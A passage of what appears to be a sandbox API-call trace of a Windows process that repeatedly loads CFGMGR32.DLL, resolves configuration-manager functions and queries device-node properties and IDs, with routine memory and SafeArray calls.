lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.663] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.666] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.667] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.667] malloc (_Size=0x18) returned 0x20abc282060 [0203.667] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0203.670] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x352956d7, dwHighDateTime=0x1d9eb0c)) [0203.671] SetEvent (hEvent=0x248) returned 1 [0203.675] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.675] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.675] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.676] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.677] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.883] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.887] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.891] malloc (_Size=0x18) returned 0x20abc281ee0 [0203.901] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x28, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0203.909] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x354d1a93, dwHighDateTime=0x1d9eb0c)) [0203.909] SetEvent (hEvent=0x248) returned 1 [0203.915] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.915] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.917] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.918] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.919] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.919] malloc (_Size=0x18) returned 0x20abc281c00 [0203.919] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x28, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0203.920] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x354f8fde, dwHighDateTime=0x1d9eb0c)) [0203.920] SetEvent (hEvent=0x248) returned 1 [0203.924] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.924] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.925] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.926] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.927] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.928] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.929] malloc (_Size=0x18) returned 0x20abc2819a0 [0203.929] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0203.929] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3551e35f, dwHighDateTime=0x1d9eb0c)) [0203.930] SetEvent (hEvent=0x248) returned 1 [0203.935] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.935] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.938] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.939] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.939] malloc (_Size=0x18) returned 0x20abc281c80 [0203.939] CM_Get_Device_IDA (in: dnDevInst=0x5, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\ACPI_HAL\\0000") returned 0x0 [0203.939] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3551e35f, dwHighDateTime=0x1d9eb0c)) [0203.940] SetEvent (hEvent=0x248) returned 1 [0203.944] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.945] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.945] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.948] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.949] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.949] malloc (_Size=0x18) returned 0x20abc281f60 [0203.949] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0203.950] malloc (_Size=0x14) returned 0x20abc281de0 [0203.950] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281de0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281de0, pulLength=0x2dc22fd3f8) returned 0x0 [0203.950] free (_Block=0x20abc281de0) [0203.950] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x355441d0, dwHighDateTime=0x1d9eb0c)) [0203.950] SetEvent (hEvent=0x248) returned 1 [0204.159] malloc (_Size=0x18) returned 0x20abc281b40 [0204.159] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0204.160] free (_Block=0x20abc281b40) [0204.161] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c5f0 [0204.161] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0204.161] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0204.161] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0204.161] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0204.161] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0204.161] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0204.161] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0204.161] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0204.231] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402110, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.233] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0204.234] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c5f0) returned 1 [0204.235] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0204.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0204.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0204.239] malloc (_Size=0x18) returned 0x20abc281d20 [0204.239] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0204.239] malloc (_Size=0x5a) returned 0x20abc2801b0 [0204.239] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0204.240] free (_Block=0x20abc2801b0) [0204.241] malloc (_Size=0x48) returned 0x20abc27cf80 [0204.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x35819bc0, dwHighDateTime=0x1d9eb0c)) [0204.241] SetEvent (hEvent=0x248) returned 1 [0204.244] malloc (_Size=0x18) returned 0x20abc281fa0 [0204.244] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0204.244] free (_Block=0x20abc281fa0) [0204.244] malloc (_Size=0x18) returned 0x20abc281b40 [0204.244] SafeArrayPutElement (psa=0x20abba805d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0204.244] free (_Block=0x20abc281b40) [0204.244] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d1f0 [0204.244] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0204.244] SafeArrayGetLBound (in: psa=0x20abba805d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0204.244] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0204.244] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0204.244] SafeArrayGetDim (psa=0x20abba805d0) returned 0x1 [0204.244] SafeArrayGetUBound (in: psa=0x20abba805d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0204.244] SafeArrayGetElemsize (psa=0x20abba805d0) returned 0x8 [0204.245] SafeArrayGetElement (in: psa=0x20abba805d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0204.245] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.245] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0204.246] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0204.247] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d1f0) returned 1 [0204.247] malloc (_Size=0xd8) returned 0x20abc2867b0 [0204.247] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0204.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0204.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0204.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0204.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0204.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0204.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0204.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 